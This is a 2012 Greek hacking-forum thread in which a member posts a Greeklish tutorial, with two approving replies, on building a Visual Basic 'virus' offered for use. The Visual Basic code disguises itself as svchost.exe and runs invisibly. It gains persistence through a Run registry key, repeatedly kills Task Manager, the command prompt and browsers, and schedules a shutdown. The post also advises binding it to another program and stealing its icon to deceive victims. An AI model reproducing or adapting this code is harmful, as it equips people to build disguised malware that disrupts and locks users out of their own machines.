ΚΑΛΟΣ ΗΛΘΑΤΕ ΣΤΟ
Greek Gamerz Forum
Το καλύτερο Forum για gaming,hacking,κυνιτά,ταινίες και προγράμματα!Κατεβάστε δωρεάν προγράμματα και games,μάθετε hacking.Η εγραφή δεν χρειάζετε επιβεβαίωση e-mail Wink
Σύνδεση

Έχω ξεχάσει τον κωδικό μου

Κορυφαίοι συγγραφείς
ezi0
 
Supernatural(ArromG)
 
Aeronide_pain
 
R00tReap3r
 
xXKosTakisXx
 
sinos
 
PmakoS
 
shooterg
 
SnuP
 
AcemaN
 

Πρόσφατα Θέματα
» PRO EVOLUTION SOCCER 2010 GREEK PATCH v.1
Τετ Δεκ 14, 2016 9:53 am από JimmyRG21

» wireless hack
Τρι Νοε 29, 2016 8:53 pm από maliorkas

» Πως να παίξετε age of empires III Online & (μαζί μας)
Τετ Οκτ 26, 2016 9:09 pm από Aeronide_pain

» Kingdom Season 2 Download
Δευ Οκτ 17, 2016 8:35 pm από ezi0

» Tang Ram - Εκτός Ελένχου 2006
Σαβ Οκτ 15, 2016 1:35 am από ezi0

» ΜΟΥΣΙΚΟΙ ΙΣΟΒΙΤΕΣ | ΑΠΟ ΤΟ ΔΡΟΜΟ ΣΤΑ ΣΑΛΟΝΙΑ
Παρ Σεπ 18, 2015 2:56 am από BIGGHOST

» ΤΙΓΡΕ ΣΠΟΡΑΚΙΑ - ΘΕΩΡΙΑ ΚΑΙ ΠΡΑΞΗ (2003) DOWNLOAD
Πεμ Αυγ 20, 2015 7:34 am από Fikomc

» ΖΝ - Εντολες (1997) download
Τρι Ιουλ 14, 2015 7:54 pm από Fikomc

» Ζωντανοί Νεκροί - Ο ΠΡΩΤΟΣ ΤΟΜΟΣ (1998)
Τρι Ιουλ 14, 2015 7:25 pm από Fikomc


Dimiourgiste Ton Proto Sas Io Se Visual Basic!

Επισκόπηση προηγούμενης Θ.Ενότητας Επισκόπηση επόμενης Θ.Ενότητας Πήγαινε κάτω

Dimiourgiste Ton Proto Sas Io Se Visual Basic!

Δημοσίευση από R00tReap3r Την / Το Παρ Αυγ 03, 2012 7:18 am

Kalosorizw ola ta meli tou agapitou mas forum sto tutorial gia to pos na ftiaxete enan io me oti dinatotites 8elete!
Apetoumena Stixoia:
1)Visual Basic(ennoite Razz)
2)Vasikes gnoseis programatismou & Program Designing
Diskolia = Efkolo

Kanoume loipon ena neo project kai to onomazoume svchost.To kanoume auto gia na borei na kriftei mesa sta alla proccesses.Me liga logia to PC mas trexei peripou 7 diergasies me to onoma svchost.Ara ama valoume kai to diko mas svchost 8a kriftei etsi oste na boresoume na apotrepsoume ton termatismo tou.Auto vevea ginete kai me to na apenergopiisoume to task manager alla 8a mas katalavei o xristis kai auto den nomizw na ams einai epi8imito.Fanoun tora ta loga!As boume stis praxeis! Twisted Evil

Dimiourgoume lipon to project mas kai amesos kanoume kapies ri8miseis.
Κώδικας:
MaximizeWindow = False(den megistopiite me tipota akoma kai an crasharei)
MinimizeWindow = false(den elaxistopiite me tipota akoma kai an crasharei)
Opacity = 0%(to kanei telios aorato)
Tora kanoume dio click panw tou gia na programatisoume pies edoles 8a ekteloude kata tin ekinisi tou iou.
Grafoume auto gia na boresoume na to kanoume na ektelite me ta windows.

Κώδικας:
Imports System.IO(to grafoume panw apo to public class)
Dim FileName As String(na metatrepsei to onoma tou arxiou se string(gia tous ponirous oxi string gomenas :P)
Dim FilePath As Object (na metatrepsei tin topo8esia tou arxiou se ri8misi object)
Dim RegistryKey As Object(na metatrepsei to klidi tou epexergasti mitroou(regedit) se ri8misi object)
FileName = "svchost.exe" (dinoume to onoma tou iou. Stin periptosi mas svchost.exe
FilePath = Path.GetFullPath(FileName)(dinoume tin edoli na egrafei i 8esi tou adikimenou ston epexergasti mitroou opou kai an vriskete)
RegistryKey = CreateObject("WScript.Shell") RegistryKey.RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersi­on\Run\svchost", FilePath)(na egrafei to klidi ston epexergasti mitroou)

Tora afou xekinaei to virus mas me ta windows as tou pros8esoume tis kakies idiotites tou! Twisted Evil
Pros8etoume ena timer kai to onomazoume opos 8eloume.Stin periptosi mas confusion.Ri8mizoume to interval apo 100 se 1 etsi oste na ginei pio grigoro Wink

Pali sto
Κώδικας:
forum_load
(ekinisi tou virus) grafoume auto:
Κώδικας:
confusion.start(ekinisi tou timer confusion)

Tora kanoume dio click sto confusion(timer) kai grafoume auto:
Κώδικας:
for each proc in proccess.getproccessesbyname("cmd")
proc.kill
next
for each proc in proccess.getproccessesbyname("taskmgr")
proc.kill
next
for each proc in  proccess.getproccessesbyname("chrome")
proc.kill
next
for each proc in  proccess.getproccessesbyname("opera")
proc.kill
next
for each proc in  proccess.getproccessesbyname("iexplore")
proc.kill
next
Genika pros8etoume oti diergasia 8eloume na termatisoume.Wrea.....exoume enan io pou termatizei diafores diergasies.Isos 8a 8elame na ton kanoume na klinei to pc se kamia oritsa apo tote pou 8a anixei.Tote kanoume to exeis:
Pigenoume pali sto form_load kai grafoume to exeis:
shell("C:\windows\system32\shutdown -s -t 3600")
Ama den petixei tote dokimaste:
shell("C:\windows\system32\shutdown.exe -s -t 3600")
Tora sxetika me tin allagi ikonidiou borite na to kanete pigenodas sto CoolUtils Online Image Converter metatrepodas to png,jpg i bpm se ico kai vazodas apo sto My Project(panw dexia) > Icon > Browse > converted ico file
Kai sto: svchost(form1) > Properties(katw dexia) > Icon > ...(browse button) > converted Ico file.Ama 8elete gia kaliteri tixi na to enosete me kana allo programa(bind) kai na klepsete to ikonidio tou etsi oste na min ktlvei to 8ima tipota tote xrisimopiiste Ultra File Binder to opio borite na vrite sto GreekGamerz > Black hat Hacking Section > Black Virus & Creating Tools > Ultra File Binder
Happy Virus Creating!

_________________

Greek Gamerz Forum

avatar
R00tReap3r

Άντρας Τοξότης Αριθμός μηνυμάτων : 251
Points : 2147485759
Reputation : 31
Ημερομηνία εγγραφής : 07/12/2011
Ηλικία : 20

http://www.games-freeze.tk

Επιστροφή στην κορυφή Πήγαινε κάτω

Απ: Dimiourgiste Ton Proto Sas Io Se Visual Basic!

Δημοσίευση από FonikoPapari Την / Το Δευ Σεπ 17, 2012 11:26 pm

file gamaei Wink mono p exeis kanei kana dio la8akia sto proccess grafete -->process kai ena akomi p dn 8imame twra ala katatala telio Wink !!
keep going Cool
Greek Gamerz
avatar
FonikoPapari

Άντρας Αιγόκερως Αριθμός μηνυμάτων : 23
Points : 2329
Reputation : 1
Ημερομηνία εγγραφής : 02/06/2011
Ηλικία : 21

Επιστροφή στην κορυφή Πήγαινε κάτω

Απ: Dimiourgiste Ton Proto Sas Io Se Visual Basic!

Δημοσίευση από PmakoS Την / Το Τρι Σεπ 18, 2012 6:43 pm

Πολύ καλή δουλειά όντως. Και σε ένα άσχετο στο είδος γίνεται εύκολο Smile
avatar
PmakoS

Άντρας Σκορπιός Αριθμός μηνυμάτων : 189
Points : 2866
Reputation : 12
Ημερομηνία εγγραφής : 28/12/2010
Ηλικία : 22
Τόπος : Αιγίνιο

https://www.facebook.com/pages/North-Greece-Union/10454404296530

Επιστροφή στην κορυφή Πήγαινε κάτω

Επισκόπηση προηγούμενης Θ.Ενότητας Επισκόπηση επόμενης Θ.Ενότητας Επιστροφή στην κορυφή


 
Δικαιώματα σας στην κατηγορία αυτή
Δεν μπορείτε να απαντήσετε στα Θέματα αυτής της Δ.Συζήτησης